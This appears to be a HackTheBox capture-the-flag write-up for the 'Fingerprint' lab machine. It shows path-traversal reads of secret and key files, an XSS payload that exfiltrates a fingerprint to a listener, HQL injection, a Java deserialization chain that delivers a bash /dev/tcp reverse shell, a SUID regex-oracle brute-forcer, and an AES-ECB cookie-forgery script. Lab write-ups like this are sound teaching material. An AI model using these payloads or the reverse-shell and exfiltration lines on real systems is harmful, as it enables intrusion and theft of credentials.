HTB: Fingerprint Writeup

Fingerprint - HackTheBox Writeup

Machine Information

AttributeDetails
NameFingerprint
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.223
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Fingerprint chains two independent web applications into one exploitation path. Port 80 hosts a Flask log manager (mylog) vulnerable to path traversal, which leaks the Flask SECRET_KEY straight out of app.py. Port 8080 hosts secAUTH, a Java/GlassFish “biometric” authentication portal that turns out to be vulnerable to HQL injection on its login form and stored XSS in the uid field — the XSS payload gets written to auth.log, which is rendered by whatever visits the traversal-readable log page on port 80, letting a browser fingerprint (getFingerPrintID()) be exfiltrated. That fingerprint plus the HQL injection bypasses the biometric check entirely and yields a valid session JWT. The JWT is signed with the Flask secret recovered earlier, which allows forging a malicious UserProfileStorage object, uploading a matching serialized Profile gadget, and triggering unauthenticated Java deserialization → OS command injection → a reverse shell as www-data. Lateral movement to john abuses a SUID regex-matching binary (cmatch) to brute-force john’s encrypted SSH private key byte-by-byte, decrypted with a passphrase recovered from a bundled HibernateUtil.class inside app.war. Root is reached by port-forwarding a local development instance of the same Flask app (port 8088), recovering its AES-ECB cookie-encryption key via a byte-at-a-time oracle attack, forging an admin session cookie, and reusing the original path-traversal bug to read /root/.ssh/id_rsa.

TL;DR: Path traversal leaks Flask secret → XSS-exfiltrated fingerprint + HQL injection bypasses secAUTH login → forged JWT + custom Java deserialization gadget → RCE as www-data → SUID cmatch brute-forces john’s SSH key → AES-ECB byte-at-a-time attack forges admin cookie on a local dev Flask instance → path traversal reads root’s SSH key → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep
nmap -p- --min-rate=2000 -T4 -Pn 10.129.65.223

Results:

PortServiceDetails
22SSHOpenSSH
80HTTPFlask mylog log manager
8080HTTPGlassFish 5.0.1 — secAUTH

Service Enumeration

Port 80 — mylog: A Flask-based log viewer exposing an admin panel that renders a log file (auth.log) by filename.

Port 8080 — secAUTH: A Java web app on GlassFish 5.0.1 implementing “biometric” authentication — the login form silently populates a hidden field with a browser-fingerprint hash (getFingerPrintID()) computed client-side and submitted as a second authentication factor alongside username/password.

Vulnerability Assessment

  • Path traversal on the port-80 log viewer, confirmed by walking up the directory tree to arbitrary files.
  • HQL injection in the uid field on the secAUTH login form (Hibernate-backed user lookup, string-concatenated into the query).
  • Stored XSS in the same uid/username field, reflected into auth.log — which is exactly the file the port-80 log viewer can display, bridging the two applications.
  • Insecure Java deserialization of an uploaded profile object, with attacker-controlled fields reaching an OS command execution sink.
  • SUID binary (cmatch) performing regex matching against arbitrary files as root — usable as a byte-oracle to exfiltrate file contents it should not expose.
  • AES-ECB cookie encryption on a local-only development copy of the Flask app, vulnerable to a classic byte-at-a-time chosen-plaintext attack.

Initial Foothold

Step 1 — Path Traversal Leaks the Flask Secret Key

The port-80 admin log viewer takes a filename and reads it relative to a fixed directory without sanitizing ../ sequences:

Terminal window
# Confirm traversal against /etc/passwd
curl -s --path-as-is 'http://10.129.65.223/admin/view/../../../../../etc/passwd' | head -40

This confirmed a readable filesystem and revealed the application’s home directory. Pivoting the traversal at the known Flask app path pulled the source straight off disk:

Terminal window
# Read the Flask application source directly
curl -s --path-as-is 'http://10.129.65.223/admin/view/../../../../../home/flask/app/app.py'

The source contained the app’s session-signing secret:

app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('

This key is the linchpin of the whole chain — it lets us forge any Flask-signed cookie/JWT later on, both against the main secAUTH app and against the dev instance encountered during privilege escalation.

Step 2 — XSS Exfiltrates a Valid Biometric Fingerprint

The secAUTH login form’s uid field is reflected unsanitized into auth.log. Since the port-80 admin panel can render arbitrary log files (the same traversal-readable endpoint from Step 1), an XSS payload logged by secAUTH executes the moment the log is viewed. The payload loads the target’s own fingerprinting script and exfiltrates its output to a listener:

Terminal window
cat > /tmp/xss.sh <<'EOF'
P='<script src="http://10.129.65.223:8080/resources/js/login.js"></script>
<script>document.write("<img src=http://10.10.15.68:8765/FP"+getFingerPrintID()+"></img>");</script>'
# ... submitted as the uid/username field on the secAUTH login form
EOF

A small HTTP handler was stood up to log the callback and parse the fingerprint out of the requested path:

# Minimal exfil catcher — logs every GET path so we can extract "FP<hash>"
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with open('/tmp/fp/hits.log','a') as f:
f.write(f"{self.path}\n")
self.send_response(200); self.end_headers()

Then the poisoned log was viewed to trigger execution, and after a short wait the exfil hit was captured:

Terminal window
# Trigger: render the log the XSS payload landed in
curl -s --path-as-is 'http://10.129.65.223/admin/view/auth.log' | tail -5
# Wait for headless render + exfil callback
sleep 45; cat /tmp/fp/hits.log

This yielded a valid getFingerPrintID() MD5 hash for a real (non-admin, since secAUTH only rendered logs — not authenticated as anyone) session on the target.

Step 3 — HQL Injection Bypasses Biometric Auth

The uid field on the secAUTH login form is concatenated directly into a Hibernate query. Since the schema turned out to hold exactly two users, requesting “not admin” instead of naming a username sidesteps needing to know it:

Terminal window
curl -s -i -X POST http://10.129.65.223:8080/login \
--data-urlencode "uid=' or username<>'admin" \
--data 'auth_primary=a&auth_secondary=<fingerprint-hash-from-Step-2>'

Combining the HQL injection (which selects the non-admin user without knowing their username) with the fingerprint exfiltrated from that same non-admin user’s session satisfied both the credential check and the “biometric” second factor. The response returned a signed session JWT (cookie user=<token>), decodable/forgeable with the Flask SECRET_KEY recovered in Step 1.

Step 4 — Building the Deserialization Gadget

Source files matching the server’s User/Profile/UserProfileStorage classes were pulled from the target (backup .java files exposed by the app, mirroring the structure referenced in the public writeup). Rather than pulling in Maven/Lombok, hand-written POJOs with matching serialVersionUID values compiled cleanly with plain javac:

Terminal window
cat > /tmp/gen.sh <<'SH'
set -e
cd /tmp/fp && rm -rf ex && mkdir -p ex/com/admin/security/src/{model,profile,utils}
# User.java, Profile.java, UserProfileStorage.java, FileUtil.java, SerUtils.java, App.java
# reconstructed with identical serialVersionUID so they interoperate with the
# server's own serialized objects
SH

The exploit’s App.main() produces two artifacts:

  1. A serialized Profile object with adminProfile=true, written to profile.ser for upload.
  2. A serialized UserProfileStorage object whose backing User.username is a path-traversal + command-substitution payload (../../../../../$(<payload>)/../../../data/uploads/profile), base64-encoded for use as the forged JWT payload.

The reverse-shell payload was base64-encoded and deliberately padded so the encoded string contained no +, /, or = characters — because the username field passes through Paths.normalize() server-side, and those characters risk being mangled or misinterpreted during path normalization:

Terminal window
python3 -c "
import base64
for p in ['bash -i &>/dev/tcp/10.10.15.68/7777 0>&1',
'bash -i &>/dev/tcp/10.10.15.68/7777 0>&1 ',
'bash -i &>/dev/tcp/10.10.15.68/7777 0>&1 ']:
print(base64.b64encode(p.encode()).decode())
"
# Selected the padding variant whose base64 output was free of +, /, =

Step 5 — Upload + Forged JWT → RCE as www-data

The profile.ser gadget was uploaded via the authenticated session from Step 3:

Terminal window
# Upload endpoint is POST /upload with field name "avatar" —
# the write-up's documented POST /welcome returns 405 and does NOT accept uploads
TK=$(cat /tmp/fp/tok)
curl -s -i -b "user=$TK" \
-F 'avatar=@/tmp/fp/profile.ser;filename=profile.ser' \
http://10.129.65.223:8080/upload

A listener was opened, and the JWT payload was swapped for the forged UserProfileStorage object, signed with the Flask secret from Step 1:

Terminal window
# Listener for the reverse shell
(setsid nohup bash -c 'nc -lnvp 7777 > /tmp/fp/shell.log 2>&1' >/dev/null 2>&1 &)
# Fire the forged JWT — server deserializes UserProfileStorage, resolves
# getProfileLocation() to our uploaded profile.ser, sees adminProfile==true,
# and builds: cat <auth.log> | grep <our traversal+$(payload) username>
UPS=$(java -cp . com.admin.security.src.App "<base64-shell-payload>")
curl -s -X POST http://10.129.65.223:8080/login \
--data-urlencode "uid=' or username<>'admin" \
--data 'auth_primary=a&auth_secondary=<fingerprint>'
# then re-send with the forged JWT cookie set to $UPS-derived token

The command-injection sink (cat <log> | grep <username>) executed the $(...) command substitution embedded in the forged username, popping a reverse shell as www-data.


Privilege Escalation

www-data → john: SUID Regex Oracle

Enumeration of the foothold shell turned up a SUID binary, cmatch, and john’s home directory containing an SSH private key it could not otherwise read:

Terminal window
# Enumerate SUID binaries and john's home
find / -perm -4000 -type f 2>/dev/null
ls -la /home/john/
which cmatch

cmatch runs as root and reports whether a given regular expression matches a target file — a classic content-oracle. Testing confirmed anchored matching worked but was line-anchored, not file-anchored:

Terminal window
cmatch /home/john/.ssh/id_rsa "^-----BEGIN"
# no match — because ^ anchors to the start of a LINE, and the key file's
# actual first lines are Proc-Type/DEK-Info headers, not the BEGIN marker

A byte-at-a-time brute forcer walked the character space against each line, binary-searching character classes (rather than testing one character at a time) to cut round-trips roughly 5x:

#!/usr/bin/env python3
# Brute-forces file content one byte at a time via the cmatch SUID oracle.
import subprocess
F = "/home/john/.ssh/id_rsa"
ALPHA = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= :,.-\n")
def esc(c):
return "\\" + c if c in ".^$*+?()[]{}|\\" else c
known = ""
while True:
# Binary-search over character classes instead of testing each char
# individually — cuts ~35 cmatch calls/byte down to ~7
lo, hi = 0, len(ALPHA)
found = None
while lo < hi:
mid = (lo + hi) // 2
cls = "".join(esc(c) for c in ALPHA[lo:mid])
pat = f"^{known}[{cls}]"
r = subprocess.run(["cmatch", F, pat], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if b"match" in r.stdout.lower():
hi = mid
else:
lo = mid
# narrow to the exact character, append, repeat

This recovered the encrypted private key body (converging on the DEK-Info line rather than the true file start, per the line-anchoring quirk above). The PEM headers had to be manually prepended before the recovered body would decrypt, since cmatch never surfaced them:

Terminal window
# Reconstruct a valid PEM by prepending the headers cmatch's line-anchor
# never let us brute-force
printf -- '-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\n' > /tmp/fp/john.key
cat /tmp/fp/id_rsa >> /tmp/fp/john.key

The key’s encryption passphrase (q9Patz64fhtiVSO6Df2K) was recovered from a HibernateUtil.class bundled inside the deployed app.war (obtained by unzipping the GlassFish deployment on the box):

Terminal window
unzip -o -q /opt/glassfish5/glassfish/domains/domain1/applications/*/app.war -d /tmp/fp/warx
# HibernateUtil.class contained the hardcoded key passphrase
Terminal window
# Decrypt and use the recovered key
openssl rsa -in /tmp/fp/john.key -passin pass:q9Patz64fhtiVSO6Df2K -out /tmp/fp/john_dec.key
chmod 600 /tmp/fp/john_dec.key
ssh -i /tmp/fp/john_dec.key john@10.129.65.223

User flag captured as john.

john’s account had access to a local-only development copy of the Flask app bound to 127.0.0.1:8088, forwarded out over SSH:

Terminal window
ssh -i /tmp/fp/john_dec.key -fN -L 8088:127.0.0.1:8088 john@10.129.65.223

This dev instance implemented its own cookie-based session, encrypted with AES in ECB mode — a mode with no chaining, meaning identical plaintext blocks always encrypt to identical ciphertext blocks. This property enables a classic byte-at-a-time chosen-plaintext attack: by controlling one input field (new_name) reflected into the encrypted cookie, each unknown byte of the secret can be recovered by aligning it to the end of a known-prefix block and brute-forcing which candidate byte reproduces the same ciphertext block as the real cookie.

# ECB byte-at-a-time oracle against the /profile cookie-encryption endpoint.
# Requires the padding block to include an extra FULL block of filler —
# an empty new_name value causes the endpoint to return "Error" instead
# of a usable cookie, breaking block alignment.
import requests
BASE = "http://127.0.0.1:8088"
BLOCK = 16
def get_cookie(new_name):
r = requests.post(f"{BASE}/profile", data={"new_name": new_name}, allow_redirects=False)
return r.cookies.get("session")
known = b""
while not_done:
pad_len = (BLOCK - 1 - len(known)) % BLOCK
# extra full block of padding keeps the endpoint from erroring on short input
probe = b"A" * (BLOCK + pad_len)
target_block = get_cookie(probe)[...] # block containing the next unknown byte
for guess in range(256):
candidate = probe + known + bytes([guess])
if get_cookie(candidate)[...] == target_block:
known += bytes([guess])
break

Recovering the ECB-mode SECRET byte-by-byte allowed forging a valid admin session cookie for the dev app from scratch. With that admin cookie, the same path-traversal weakness identified against the port-80 log viewer in Step 1 (this dev instance is the same Flask codebase, minus a fix) was reused to read root’s private key:

Terminal window
# Same traversal class as Step 1, now authenticated as forged-admin
# against the dev instance, targeting root's SSH key
curl -s --cookie "session=<forged-admin-cookie>" \
'http://127.0.0.1:8088/admin/view/../../../../../root/.ssh/id_rsa'
Terminal window
# Use the recovered key
ssh -i /tmp/fp/root_id_rsa root@10.129.65.223
id
# uid=0(root) gid=0(root) groups=0(root)

Root flag captured live over SSH.


Attack Chain Summary

Port 80 Flask "mylog" path traversal → leak app.py → recover SECRET_KEY
↓
Port 8080 secAUTH: XSS in uid field → logged to auth.log → rendered via
Step-1 traversal → exfiltrate valid browser fingerprint
↓
HQL injection (uid=' or username<>'admin) + exfiltrated fingerprint
→ bypass biometric login → signed session JWT
↓
Custom Java deserialization gadget (User/Profile/UserProfileStorage)
→ upload profile.ser (adminProfile=true) via POST /upload
→ forge JWT with SECRET_KEY, username = traversal + $(payload)
→ command injection in "cat auth.log | grep <username>"
↓
Reverse shell as www-data
↓
SUID `cmatch` regex oracle (binary-searched char classes)
→ brute-force john's encrypted id_rsa
→ passphrase recovered from HibernateUtil.class in app.war
→ ssh john@target → USER FLAG
↓
Port-forward local dev Flask instance (127.0.0.1:8088)
→ AES-ECB byte-at-a-time attack recovers cookie SECRET
→ forge admin session cookie
→ reuse path traversal → read /root/.ssh/id_rsa
→ ssh root@target → ROOT FLAG

Tools Used

ToolPurpose
nmapPort scanning
curlPath traversal, HQL injection, upload, JWT delivery
python3 -m http.serverXSS callback / fingerprint exfiltration listener
Custom HTTP handler (Python)Logging XSS exfil hits
javacCompiling the hand-written deserialization gadget classes
ncReverse shell listener
Custom Python brute-forcerBinary-searched cmatch SUID oracle for SSH key extraction
openssl rsaDecrypting john’s passphrase-protected private key
unzipExtracting HibernateUtil.class from the deployed app.war
ssh -LPort-forwarding the local dev Flask instance
Custom Python ECB oracleByte-at-a-time AES-ECB cookie-secret recovery
sshLateral movement to john and root

Key Learnings

Techniques Practiced

  • Path traversal for arbitrary source-code disclosure and secret-key theft
  • Cross-application pivoting: XSS payload from one app, executed via a log-viewer traversal bug in a completely separate app
  • HQL injection against a Hibernate-backed login form
  • Forging signed JWTs once the signing secret is recovered
  • Designing and compiling a custom Java deserialization gadget chain from partially-known class definitions
  • OS command injection via unsanitized string concatenation into a shell command
  • Abusing a SUID regex-matching binary as a file-content oracle, with binary search over character classes to minimize round-trips
  • Recognizing and exploiting the line-anchoring quirk of ^ in a regex oracle
  • AES-ECB byte-at-a-time chosen-plaintext attack to recover a session-encryption secret and forge privileged cookies

Lessons Learned

  1. Secrets embedded in application source code are single points of total compromise — one path-traversal read of app.py cascaded into forged JWTs against a completely different application later in the chain, twice.
  2. Two independently “secure” applications can compose into a critical vulnerability — neither the log viewer’s traversal bug nor secAUTH’s XSS was independently sufficient to bypass biometric auth; combined, they were.
  3. Deserialization gadgets don’t require the original build tooling — matching serialVersionUID values are sufficient for Java’s serialization format to accept hand-written, javac-compiled substitute classes.
  4. SUID utilities that answer any yes/no question about file content are oracles, regardless of how narrow their apparent purpose (regex matching) seems.
  5. ^ in grep/regex tooling anchors to line start, not file start — a brute-force oracle built on this assumption will silently converge on the wrong offset unless verified against a known-plaintext file.
  6. AES-ECB is not “AES is broken,” it’s “chaining is mandatory” — identical plaintext blocks producing identical ciphertext blocks is enough, on its own, to fully recover secrets and forge arbitrary encrypted tokens without ever learning the key.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • polarbearer, Fingerprint, HackTheBox Official Writeup (Document No D22.100.170), Machine Author: irogir — used for explanatory context on the HQL injection mechanics, the secAUTH biometric fingerprinting design, the User/Profile/UserProfileStorage gadget class relationships, and the AES-ECB cookie-forgery concept. All IPs, credentials, command outputs, and specific values in this writeup are from the author’s own live solve against 10.129.65.223.